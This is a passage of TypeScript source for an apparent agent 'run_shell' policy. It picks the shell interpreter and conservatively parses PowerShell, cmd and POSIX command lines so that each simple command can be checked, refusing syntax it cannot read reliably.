/(^|[\\\\/])(pwsh|powershell)(\\.exe)?$/i.test(explicit)\n ? \"powershell\"\n : /(^|[\\\\/])cmd(\\.exe)?$/i.test(explicit)\n ? \"cmd\"\n : /(^|[\\\\/])bash(\\.exe)?$/i.test(explicit)\n ? \"bash\"\n : \"sh\";\n } else if (host.platform === \"win32\") {\n const powershell = findOnPath(powershellNames(host), host);\n const gitBash = powershell === undefined ? findGitBash(host) : undefined;\n\n interpreter =\n powershell !== undefined ? \"powershell\" : gitBash !== undefined ? \"bash\" : \"cmd\";\n file = powershell ?? gitBash;\n } else {\n const bash = findOnPath([\"bash\"], host);\n\n interpreter = bash !== undefined ? \"bash\" : \"sh\";\n file = bash;\n }\n } else {\n interpreter = requested;\n }\n\n if (file === undefined) {\n if (interpreter === \"powershell\") {\n file = findOnPath(powershellNames(host), host);\n } else if (interpreter === \"bash\") {\n file =\n findOnPath([\"bash\"], host) ?? (host.platform === \"win32\" ? findGitBash(host) : undefined);\n } else if (interpreter === \"cmd\" && host.platform === \"win32\") {\n file = process.env.ComSpec ?? \"cmd.exe\";\n }\n }\n\n const labels: Record<ResolvedShellInterpreter, string> = {\n none: \"none\",\n sh: host.platform === \"win32\" ? \"cmd.exe\" : \"sh\",\n bash: \"bash\",\n cmd: \"cmd.exe\",\n powershell: powershellLabel(file),\n };\n\n return {\n interpreter,\n dialect: dialectOf(interpreter, host.platform),\n ...(file !== undefined ? { file } : {}),\n label: labels[interpreter],\n };\n}\n","import type {\n ShellParseResult,\n ShellRedirect,\n ShellSegment,\n ShellSimpleCommand,\n ShellWord,\n} from \"./shell-parser\";\n\n/**\n * Parser for the PowerShell dialect (`powershell -Command` / `pwsh -Command`).\n *\n * Like the other dialects it is deliberately conservative: it finds every\n * simple command a line would run and every redirection target, and refuses\n * what it cannot read with confidence. Supported: `;` and line breaks, `&&`,\n * `||`, `|`, `$( )` subexpressions (their commands are checked too), the call\n * operator `&` in front of a command, single and double\n * quotes (including the typographic quotes PowerShell treats as quotes),\n * backtick escapes, `$name` / `${name}` / `$env:NAME` variables (dynamic\n * words), and the redirections `>`, `>>`, `2>`, `2>>`, `*>`, `2>&1`.\n *\n * Refused: script blocks and braces, bare parentheses,\n * `@( )` / `@{ }` / splatting / here-strings, the stop-parsing token `--%`,\n * `<` redirection, comments, the comma operator, compound-statement\n * keywords (`if`, `foreach`, `function`, `try`, …), dot-sourcing, a `&` that\n * is not a call operator (background jobs), and type literals.\n */\n\n/** Statement keywords that start a compound command; refused in command position. */\nconst POWERSHELL_KEYWORDS = new Set([\n \"if\",\n \"elseif\",\n \"else\",\n \"switch\",\n \"foreach\",\n \"for\",\n \"while\",\n \"do\",\n \"until\",\n \"function\",\n \"filter\",\n \"workflow\",\n \"param\",\n \"begin\",\n \"process\",\n \"end\",\n \"try\",\n \"catch\",\n \"finally\",\n \"trap\",\n \"data\",\n \"class\",\n \"enum\",\n \"using\",\n \"return\",\n \"break\",\n \"continue\",\n \"throw\",\n \"parallel\",\n \"sequence\",\n \"inlinescript\",\n]);\n\n/** Characters PowerShell reads as a single quote. */\nconst SINGLE_QUOTES = \"'‘’‚‛\";\n\n/** Characters PowerShell reads as a double quote. */\nconst DOUBLE_QUOTES = '\"“”„';\n\n/** Variable-name characters after `$`. */\nconst VARIABLE_CHAR = /[A-Za-z0-9_:?^$]/;\n\n/** Whether `char` (never the empty end-of-input string) is one of `set`. */\nfunction inSet(set: string, char: string): boolean {\n return char !== \"\" && set.includes(char);\n}\n\nclass PowerShellRefusal extends Error {\n public constructor(\n public readonly reason: \"unbalanced-quotes\" | \"unsupported-syntax\",\n message: string,\n ) {\n super(message);\n }\n}\n\nfunction unsupported(message: string): PowerShellRefusal {\n return new PowerShellRefusal(\"unsupported-syntax\", message);\n}\n\nclass PowerShellParser {\n private pos = 0;\n\n public constructor(\n private readonly src: string,\n public readonly commands: ShellSimpleCommand[] = [],\n private readonly depth = 0,\n ) {}\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private skipBlanks(): void {\n while (this.peek() === \" \" || this.peek() === \"\\t\") {\n this.pos++;\n }\n }\n\n private atLineBreak(): boolean {\n return this.peek() === \"\\n\" || this.peek() === \"\\r\";\n }\n\n public parseProgram(segments: ShellSegment[]): void {\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n if (segments.length === 0) {\n throw unsupported(\"The command is empty.\");\n }\n\n if (\n segments[segments.length - 1]?.operator === \"&&\" ||\n segments[segments.length - 1]?.operator === \"||\"\n ) {\n throw unsupported(\"The line ends with an operator but no command follows it.\");\n }\n\n return;\n }\n\n const start = this.pos;\n\n this.parsePipeline();\n\n const end = this.pos;\n\n this.skipBlanks();\n\n const operator = this.readListOperator();\n\n segments.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === null) {\n if (!this.atEnd()) {\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n\n return;\n }\n\n if (operator === \";\" || operator === \"\\n\") {\n // Further separators and blanks are allowed after one; a trailing run is fine.\n while (this.peek() === \" \" || this.peek() === \"\\t\" || this.atLineBreak()) {\n this.pos++;\n }\n } else {\n this.skipBlanks();\n }\n }\n }\n\n private readListOperator(): string | null {\n const char = this.peek();\n\n if (char === \"&\" && this.peek(1) === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n if (char === \"|\" && this.peek(1) === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n if (char === \";\") {\n this.pos++;\n\n return \";\";\n }\n\n if (this.atLineBreak()) {\n while (this.atLineBreak()) {\n this.pos++;\n }\n\n return \"\\n\";\n }\n\n return null;\n }\n\n private parsePipeline(): void {\n this.parseCommand();\n\n while (this.peek() === \"|\" && this.peek(1) !== \"|\") {\n this.pos++;\n this.skipBlanks();\n\n if (this.atEnd() || this.atLineBreak() || this.peek() === \";\") {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseCommand();\n }\n }\n\n private atRedirectStart(): boolean {\n const char = this.peek();\n\n if (char === \">\") {\n return true;\n }\n\n return /[1-6*]/.test(char) && this.peek(1) === \">\";\n }\n\n private parseCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n let callOperator = false;\n\n if (this.peek() === \"&\" && this.peek(1) !== \"&\") {\n callOperator = true;\n this.pos++;\n this.skipBlanks();\n }\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd() || this.atLineBreak() || this.peek() === \";\" || this.peek() === \"|\") {\n break;\n }\n\n if (this.peek() === \"&\") {\n if (this.peek(1) === \"&\") {\n break;\n }\n\n throw unsupported(\n \"`&` is only supported as the call operator in front of a command (not as a background job).\",\n );\n }\n\n if (this.peek() === \"<\") {\n throw unsupported(\"`<` is not supported in PowerShell command lines.\");\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n command.words.push(word);\n\n if (command.words.length === 1) {\n this.checkCommandWord(word);\n }\n }\n\n if (command.words.length === 0 && (callOperator || command.redirects.length === 0)) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.commands.push(command);\n }\n\n private checkCommandWord(word: ShellWord): void {\n if (word.raw.startsWith(\"[\")) {\n throw unsupported(`\\`${word.raw}\\` (a type literal) is not supported.`);\n }\n\n if (!word.quoted && word.value === \".\") {\n throw unsupported(\n \"Dot-sourcing (`. file`) runs a script in the current scope and is not supported.\",\n );\n }\n\n if (!word.quoted && POWERSHELL_KEYWORDS.has(word.value.toLowerCase())) {\n throw unsupported(`\\`${word.value}\\` starts a PowerShell statement, which is not supported.`);\n }\n }\n\n private parseRedirect(): ShellRedirect {\n let fd: number | undefined;\n\n if (this.peek() === \"*\") {\n this.pos++;\n } else if (/[1-6]/.test(this.peek())) {\n fd = Number(this.peek());\n this.pos++;\n }\n\n let op = \">\";\n\n if (this.peek(1) === \">\") {\n op = \">>\";\n }\n\n this.pos += op.length;\n\n if (op === \">\" && this.peek() === \"&\") {\n if (/[1-6]/.test(this.peek(1))) {\n const target: ShellWord = {\n raw: this.peek(1),\n value: this.peek(1),\n dynamic: false,\n quoted: false,\n };\n\n this.pos += 2;\n\n return { op: \">&\", ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n throw unsupported(\"Only `>&1`-style stream merges (`2>&1`) are supported.\");\n }\n\n this.skipBlanks();\n\n if (this.atEnd() || this.atLineBreak() || /[;&|<>]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"write\" };\n }\n\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n\n if (this.src.startsWith(\"--%\", this.pos) && /[\\s;|&]|^$/.test(this.src.charAt(this.pos + 3))) {\n throw unsupported(\"The stop-parsing token `--%` is not supported.\");\n }\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"\\n\" ||\n char === \"\\r\" ||\n char === \";\" ||\n char === \"|\" ||\n char === \"&\" ||\n char === \">\" ||\n char === \"<\"\n ) {\n break;\n }\n\n if (inSet(SINGLE_QUOTES, char)) {\n this.pos++;\n quoted = true;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A single quote is never closed.\");\n }\n\n const inner = this.peek();\n\n if (inSet(SINGLE_QUOTES, inner)) {\n if (inSet(SINGLE_QUOTES, this.peek(1))) {\n value += this.peek(1);\n this.pos += 2;\n\n continue;\n }\n\n this.pos++;\n\n break;\n }\n\n value += inner;\n this.pos++;\n }\n\n continue;\n }\n\n if (inSet(DOUBLE_QUOTES, char)) {\n this.pos++;\n quoted = true;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A double quote is never closed.\");\n }\n\n const inner = this.peek();\n\n if (inSet(DOUBLE_QUOTES, inner)) {\n if (inSet(DOUBLE_QUOTES, this.peek(1))) {\n value += this.peek(1);\n this.pos += 2;\n\n continue;\n }\n\n this.pos++;\n\n break;\n }\n\n if (inner === \"`\") {\n const next = this.peek(1);\n\n if (next !== \"\" && (inSet(DOUBLE_QUOTES, next) || next === \"`\" || next === \"$\")) {\n value += next;\n this.pos += 2;\n\n continue;\n }\n\n throw unsupported(\n 'Only `\"`, `` ` `` and `$` can follow a backtick inside double quotes.',\n );\n }\n\n if (inner === \"$\") {\n const read = this.readVariable();\n\n value += read;\n dynamic = true;\n\n continue;\n }\n\n value += inner;\n this.pos++;\n }\n\n continue;\n }\n\n if (char === \"`\") {\n const next = this.peek(1);\n\n if (next === \"\" || next === \"\\n\" || next === \"\\r\") {\n throw unsupported(\n \"A backtick at the end of a line (line continuation) is not supported.\",\n );\n }\n\n value += next;\n quoted = true;\n this.pos += 2;\n\n continue;\n }\n\n if (char === \"$\") {\n const wasLiteral = this.src.charAt(this.pos + 1);\n\n if (\n wasLiteral === \"\" ||\n !(wasLiteral === \"{\" || wasLiteral === \"(\" || VARIABLE_CHAR.test(wasLiteral))\n ) {\n value += \"$\";\n this.pos++;\n\n continue;\n }\n\n value += this.readVariable();\n dynamic = true;\n\n continue;\n }\n\n if (char === \"@\" && this.pos === start) {\n const next = this.peek(1);\n\n if (\n next === \"(\" ||\n next === \"{\" ||\n next === \"'\" ||\n next === '\"' ||\n /[A-Za-z_$]/.test(next)\n ) {\n throw unsupported(\n \"Arrays (`@( )`), hashtables, splatting (`@name`) and here-strings are not supported.\",\n );\n }\n }\n\n if (char === \"{\" || char === \"}\") {\n throw unsupported(\"Script blocks and braces are not supported.\");\n }\n\n if (char === \"(\" || char === \")\") {\n throw unsupported(\n \"Parentheses (grouping and `$( )` subexpressions) are not supported; quote the text.\",\n );\n }\n\n if (char === \",\") {\n throw unsupported(\n \"The comma operator builds an array and is not supported; quote the text.\",\n );\n }\n\n if (char === \"#\" && this.pos === start) {\n throw unsupported(\"Comments are not supported in a command line.\");\n }\n\n if (char === \"*\" || char === \"?\" || char === \"[\" || (char === \"~\" && this.pos === start)) {\n dynamic = true;\n }\n\n value += char;\n this.pos++;\n }\n\n return { raw: this.src.slice(start, this.pos), value, dynamic, quoted };\n }\n\n /**\n * Parse a `$( … )` subexpression: its commands run, so they are collected\n * (before the command that contains it) and checked like any other.\n */\n private parseSubexpression(): void {\n if (this.depth >= 8) {\n throw unsupported(\"`$( )` subexpressions are nested too deeply.\");\n }\n\n const open = this.pos;\n let level = 0;\n let index = open;\n\n for (; index < this.src.length; index++) {\n const char = this.src.charAt(index);\n\n if (inSet(SINGLE_QUOTES, char) || inSet(DOUBLE_QUOTES, char)) {\n const set = inSet(SINGLE_QUOTES, char) ? SINGLE_QUOTES : DOUBLE_QUOTES;\n\n index++;\n\n while (index < this.src.length) {\n const inner = this.src.charAt(index);\n\n if (inner === \"`\" && set === DOUBLE_QUOTES) {\n index += 2;\n\n continue;\n }\n\n if (inSet(set, inner)) {\n if (inSet(set, this.src.charAt(index + 1))) {\n index += 2;\n\n continue;\n }\n\n break;\n }\n\n index++;\n }\n\n continue;\n }\n\n if (char === \"`\") {\n index++;\n\n continue;\n }\n\n if (char === \"(\") {\n level++;\n } else if (char === \")\") {\n level--;\n\n if (level === 0) {\n break;\n }\n }\n }\n\n if (level !== 0) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A `$(` subexpression is never closed.\");\n }\n\n const inner = this.src.slice(open + 1, index);\n\n new PowerShellParser(inner, this.commands, this.depth + 1).parseProgram([]);\n this.pos = index + 1;\n }\n\n /** Read `$name`, `${name}` or `$env:NAME` at the cursor; a `$(` is refused. */\n private readVariable(): string {\n const begin = this.pos;\n\n this.pos++;\n\n if (this.peek() === \"(\") {\n this.parseSubexpression();\n\n return this.src.slice(begin, this.pos);\n }\n\n if (this.peek() === \"{\") {\n const close = this.src.indexOf(\"}\", this.pos);\n\n if (close === -1) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A `${` variable name is never closed.\");\n }\n\n this.pos = close + 1;\n\n return this.src.slice(begin, this.pos);\n }\n\n while (!this.atEnd() && VARIABLE_CHAR.test(this.peek())) {\n this.pos++;\n }\n\n return this.src.slice(begin, this.pos);\n }\n}\n\n/** Parse a PowerShell command line for the shell policy. Never throws. */\nexport function parsePowerShellLine(line: string): ShellParseResult {\n const segments: ShellSegment[] = [];\n const parser = new PowerShellParser(line);\n\n try {\n parser.parseProgram(segments);\n\n return { ok: true, commands: parser.commands, segments, background: false };\n } catch (error) {\n if (error instanceof PowerShellRefusal) {\n return { ok: false, reason: error.reason, message: error.message };\n }\n\n throw error;\n }\n}\n","import { parsePowerShellLine } from \"./powershell-parser\";\n\n/**\n * A deliberately conservative parser for the command lines `run_shell`\n * hands to a shell when the policy opts in to `interpreter: \"sh\"`.\n *\n * Its only job is to find **every simple command** a line would run — so\n * the policy can check each one — plus every redirection target. It is not\n * a shell: it never expands anything. What it cannot read with confidence\n * it refuses, because a construct the parser misreads is a construct a\n * denied command can hide in. `/bin/sh` is bash on some systems, dash or\n * busybox ash on others, so constructs that those shells read differently\n * (bash-only syntax such as `<<<`, `&>`, `$'…'`, brace expansion, `[[`,\n * arithmetic) are refused as well.\n *\n * Three dialects:\n * - `\"posix\"` — what `/bin/sh -c` reads: `;`, `&&`, `||`, `|`, `&`,\n * newlines, comments, `( … )` subshells, `$( … )` and backtick command\n * substitution (parsed recursively), `$name` / `${name…}` parameter\n * expansion (a restricted set of forms), single and double quotes,\n * backslash escapes, redirections and here-documents.\n * - `\"cmd\"` — what `cmd.exe /d /v:off /s /c` reads, restricted to the\n * subset whose meaning is unambiguous: `&&`, `||`, `|`, `&` (sequential\n * in cmd), double quotes and simple redirections. `%`, `!`, `^`,\n * parentheses, `;` and `,` are refused.\n * - `\"powershell\"` — what `powershell -Command` / `pwsh -Command` reads, restricted\n * the same way (see `powershell-parser.ts`).\n */\n\n/** Which shell grammar to parse. */\nexport type ShellDialect = \"posix\" | \"cmd\" | \"powershell\";\n\n/** One word of a simple command, after quote removal. */\nexport interface ShellWord {\n /** The word exactly as written. */\n raw: string;\n /**\n * The word's text after quote removal and escapes. Expansions\n * (`$HOME`, `$(…)`, backticks) are kept as their source text — their real\n * value is only known when the shell runs.\n */\n value: string;\n /**\n * True when the shell decides part of the word at run time: a parameter\n * expansion, a command substitution, an unquoted glob character\n * (`*`, `?`, `[`) or a leading `~`.\n */\n dynamic: boolean;\n /** True when any part of the word was quoted or escaped. */\n quoted: boolean;\n /** For a `NAME=value` assignment word, the variable name. */\n assignmentName?: string;\n}\n\n/** A redirection attached to a simple command (or a subshell). */\nexport interface ShellRedirect {\n /** The operator: `>`, `>>`, `>|`, `<`, `<>`, `>&`, `<&`, `<<` or `<<-`. */\n op: string;\n /** Explicit file descriptor (`2>`), when written. */\n fd?: number;\n /** The target word (file, descriptor number or here-doc delimiter). */\n target: ShellWord;\n /**\n * `\"read\"` / `\"write\"` — a file target; `\"dup\"` — a descriptor copy or\n * close (`2>&1`, `>&-`); `\"heredoc\"` — inline input.\n */\n type: \"read\" | \"write\" | \"dup\" | \"heredoc\";\n}\n\n/** A simple command: assignments, words and redirections. */\nexport interface ShellSimpleCommand {\n /** Leading `NAME=value` words. */\n assignments: ShellWord[];\n /** The command's words — `words[0]` is the command name. Empty for a redirect- or assignment-only command. */\n words: ShellWord[];\n /** Redirections, in order. */\n redirects: ShellRedirect[];\n /** The command's source text (for messages). */\n source: string;\n}\n\n/** A top-level piece of the line and the operator that follows it. */\nexport interface ShellSegment {\n /** Source text of the pipeline. */\n source: string;\n /** The list operator after it (`&&`, `||`, `;`, `&`, a newline), if any. */\n operator?: string;\n}\n\n/** Outcome of {@link parseShellLine}. */\nexport type ShellParseResult =\n | {\n ok: true;\n /** Every simple command, in the order the shell meets them (substitutions first). */\n commands: ShellSimpleCommand[];\n /** The top-level pipelines and the operators joining them. */\n segments: ShellSegment[];\n /** True when the line backgrounds anything with `&` (POSIX dialect). */\n background: boolean;\n }\n | {\n ok: false;\n /** Why the line was refused. */\n reason: \"unbalanced-quotes\" | \"unsupported-syntax\";\n /** What was refused and why, for the model. */\n message: string;\n };\n\n/** Deepest nesting of subshells and substitutions the parser accepts. */\nconst MAX_NESTING = 16;\n\n/**\n * Words that start a compound command (or negate a pipeline) when they\n * appear unquoted in command position. The parser does not read compound\n * commands, so a line using one is refused.\n */\nconst RESERVED_WORDS = new Set([\n \"!\",\n \"{\",\n \"}\",\n \"[[\",\n \"]]\",\n \"case\",\n \"coproc\",\n \"do\",\n \"done\",\n \"elif\",\n \"else\",\n \"esac\",\n \"fi\",\n \"for\",\n \"function\",\n \"if\",\n \"in\",\n \"select\",\n \"then\",\n \"until\",\n \"while\",\n]);\n\n/** cmd.exe keywords the `\"cmd\"` dialect refuses in command position. */\nconst CMD_RESERVED_WORDS = new Set([\"if\", \"for\", \"goto\", \"setlocal\", \"endlocal\"]);\n\n/** A parameter name inside `${…}`: a variable, a positional or a special parameter. */\nconst PARAMETER_NAME = String.raw`(?:[A-Za-z_][A-Za-z0-9_]*|[0-9]+|[@*#?$!-])`;\n\n/**\n * The default/pattern word of `${name:-word}` / `${name%word}`: no quotes,\n * no nested expansion or substitution, no braces or parentheses, no `@`.\n */\nconst PARAMETER_WORD = \"[^`$'\\\"\\\\\\\\{}()@\\\\n]*\";\n\n/**\n * Allowed `${…}` forms: `${name}`, `${#name}`, `${name-word}`,\n * `${name:-word}` (also `=`, `+`, `?`), `${name%word}`, `${name%%word}`,\n * `${name#word}`, `${name##word}`. Everything else — substrings and\n * subscripts (arithmetic in bash), `${!name}`, `${name@op}`, pattern\n * substitution — is refused.\n */\nconst PARAMETER_EXPANSION = new RegExp(\n `^(?:#${PARAMETER_NAME}|${PARAMETER_NAME}(?:(?::?[-=+?]|%%?|##?)${PARAMETER_WORD})?)$`,\n);\n\n/** A refusal raised while parsing; caught by {@link parseShellLine}. */\nclass ShellSyntaxRefusal extends Error {\n public constructor(\n public readonly reason: \"unbalanced-quotes\" | \"unsupported-syntax\",\n message: string,\n ) {\n super(message);\n }\n}\n\n/** Refuse a construct the parser does not read with confidence. */\nfunction unsupported(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unsupported-syntax\", message);\n}\n\n/** Refuse an unterminated quote / substitution. */\nfunction unbalanced(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unbalanced-quotes\", message);\n}\n\n/** State shared by a parser and the nested parsers it starts (backticks, here-docs). */\ninterface SharedState {\n commands: ShellSimpleCommand[];\n background: boolean;\n nesting: number;\n}\n\n/** A here-document whose body starts after the next newline. */\ninterface PendingHeredoc {\n delimiter: string;\n stripTabs: boolean;\n expand: boolean;\n}\n\n/** Parser for the POSIX `sh` dialect. */\nclass PosixParser {\n private pos = 0;\n\n private pendingHeredocs: PendingHeredoc[] = [];\n\n public constructor(\n private readonly src: string,\n private readonly state: SharedState,\n ) {}\n\n /** Parse the whole line as a command list. */\n public parseProgram(segments: ShellSegment[]): void {\n this.parseList(null, segments);\n this.assertNoPendingHeredocs();\n }\n\n /** Parse the contents of a backtick substitution (a full list until EOF). */\n public parseNestedProgram(): void {\n this.parseList(null, undefined);\n this.assertNoPendingHeredocs();\n }\n\n /**\n * Scan an unquoted-delimiter here-document body: `$…`, `${…}`, `$(…)` and\n * backticks expand there exactly as inside double quotes (but `\"` is an\n * ordinary character), so any command substitution in it runs.\n */\n public parseExpandingText(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \"\\\\\") {\n this.pos += 2;\n\n continue;\n }\n\n if (char === \"$\") {\n this.parseDollar(\"heredoc\");\n\n continue;\n }\n\n if (char === \"`\") {\n this.parseBackticks(false);\n\n continue;\n }\n\n this.pos++;\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private assertNoPendingHeredocs(): void {\n if (this.pendingHeredocs.length > 0) {\n throw unsupported(\n `The here-document delimited by \\`${this.pendingHeredocs[0]?.delimiter ?? \"\"}\\` is never terminated.`,\n );\n }\n }\n\n private enterNesting(): void {\n this.state.nesting++;\n\n if (this.state.nesting > MAX_NESTING) {\n throw unsupported(\"The line nests subshells or substitutions too deeply.\");\n }\n }\n\n private exitNesting(): void {\n this.state.nesting--;\n }\n\n /** Skip spaces, tabs and backslash-newline continuations. */\n private skipBlanks(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \" \" || char === \"\\t\") {\n this.pos++;\n\n continue;\n }\n\n if (char === \"\\\\\" && this.peek(1) === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n break;\n }\n }\n\n /** Skip a `#` comment up to (not including) the newline. */\n private skipComment(): void {\n const newline = this.src.indexOf(\"\\n\", this.pos);\n\n this.pos = newline === -1 ? this.src.length : newline;\n }\n\n /** Consume one newline and read any here-document bodies queued before it. */\n private consumeNewline(): void {\n this.pos++;\n\n if (this.pendingHeredocs.length === 0) {\n return;\n }\n\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n const pending = this.pendingHeredocs;\n\n this.pendingHeredocs = [];\n\n for (const heredoc of pending) {\n this.readHeredocBody(heredoc);\n }\n }\n\n /** Skip blanks, comments and newlines (separators between commands). */\n private skipBlanksAndNewlines(): void {\n while (!this.atEnd()) {\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n\n continue;\n }\n\n if (this.peek() === \"\\n\") {\n this.consumeNewline();\n\n continue;\n }\n\n break;\n }\n }\n\n private readHeredocBody(heredoc: PendingHeredoc): void {\n const bodyLines: string[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unsupported(\n `The here-document delimited by \\`${heredoc.delimiter}\\` is never terminated.`,\n );\n }\n\n const lineEnd = this.src.indexOf(\"\\n\", this.pos);\n const line = lineEnd === -1 ? this.src.slice(this.pos) : this.src.slice(this.pos, lineEnd);\n const compared = heredoc.stripTabs ? line.replace(/^\\t+/, \"\") : line;\n\n this.pos = lineEnd === -1 ? this.src.length : lineEnd + 1;\n\n if (compared === heredoc.delimiter) {\n break;\n }\n\n bodyLines.push(compared);\n }\n\n if (heredoc.expand) {\n new PosixParser(bodyLines.join(\"\\n\"), this.state).parseExpandingText();\n }\n }\n\n /**\n * Parse a command list until `closing` (`\")\"`) or the end of the input.\n * `segments`, when given, collects the top-level pipelines.\n */\n private parseList(closing: string | null, segments: ShellSegment[] | undefined): void {\n let sawCommand = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd()) {\n if (closing !== null) {\n throw unbalanced(`A \\`(\\` or \\`$(\\` is never closed with \\`${closing}\\`.`);\n }\n\n break;\n }\n\n if (closing !== null && this.peek() === closing) {\n break;\n }\n\n const start = this.pos;\n\n this.parsePipeline(closing);\n\n const end = this.pos;\n\n sawCommand = true;\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n }\n\n const operator = this.readListOperator();\n\n segments?.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === \"&&\" || operator === \"||\") {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(`The line ends with \\`${operator}\\` but no command follows it.`);\n }\n\n continue;\n }\n\n if (operator === \"&\") {\n this.state.background = true;\n }\n\n if (operator === null) {\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n break;\n }\n\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n }\n\n if (!sawCommand) {\n throw unsupported(closing === null ? \"The command is empty.\" : \"A `( )` or `$( )` is empty.\");\n }\n }\n\n /** Read `&&`, `||`, `;`, `&` or a newline after a pipeline. */\n private readListOperator(): string | null {\n const char = this.peek();\n const next = this.peek(1);\n\n if (char === \"&\") {\n if (next === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n if (next === \">\") {\n throw unsupported(\n \"`&>` (redirect both streams) is not portable; write `> file 2>&1` instead.\",\n );\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (char === \"|\" && next === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n if (char === \";\") {\n if (next === \";\") {\n throw unsupported(\"`;;` (a `case` clause) is not supported.\");\n }\n\n this.pos++;\n\n return \";\";\n }\n\n if (char === \"\\n\") {\n this.consumeNewline();\n\n return \"\\n\";\n }\n\n return null;\n }\n\n private parsePipeline(closing: string | null): void {\n this.parseCommand(closing);\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.peek() !== \"|\" || this.peek(1) === \"|\") {\n return;\n }\n\n if (this.peek(1) === \"&\") {\n throw unsupported(\"`|&` is not portable; write `2>&1 |` instead.\");\n }\n\n this.pos++;\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseCommand(closing);\n }\n }\n\n private parseCommand(closing: string | null): void {\n this.skipBlanks();\n\n if (this.peek() === \"(\") {\n if (this.peek(1) === \"(\") {\n throw unsupported(\"`((…))` (arithmetic) is not supported.\");\n }\n\n this.parseSubshell();\n\n return;\n }\n\n if (this.peek() === \")\") {\n throw unsupported(closing === null ? \"Unexpected `)`.\" : \"A `( )` or `$( )` is empty.\");\n }\n\n this.parseSimpleCommand();\n }\n\n private parseSubshell(): void {\n const start = this.pos;\n\n this.pos++;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n // Redirections may follow the closing parenthesis; nothing else may.\n const redirects: ShellRedirect[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (!this.atRedirectStart()) {\n break;\n }\n\n redirects.push(this.parseRedirect());\n }\n\n if (redirects.length > 0) {\n this.state.commands.push({\n assignments: [],\n words: [],\n redirects,\n source: this.src.slice(start, this.pos).trim(),\n });\n }\n\n if (!this.atEnd() && !this.atOperatorBoundary()) {\n throw unsupported(\"Only an operator or a redirection may follow `)`.\");\n }\n }\n\n /** Whether the next character ends a simple command. */\n private atOperatorBoundary(): boolean {\n const char = this.peek();\n\n return (\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \")\" ||\n char === \"#\" ||\n char === \" \" ||\n char === \"\\t\"\n );\n }\n\n /** Whether a redirection starts here (`>`, `<`, or digits glued to one). */\n private atRedirectStart(): boolean {\n let index = this.pos;\n\n while (index < this.src.length && /[0-9]/.test(this.src.charAt(index))) {\n index++;\n }\n\n const char = this.src.charAt(index);\n\n return char === \"<\" || char === \">\";\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n break;\n }\n\n const char = this.peek();\n\n if (char === \"\\n\" || char === \";\" 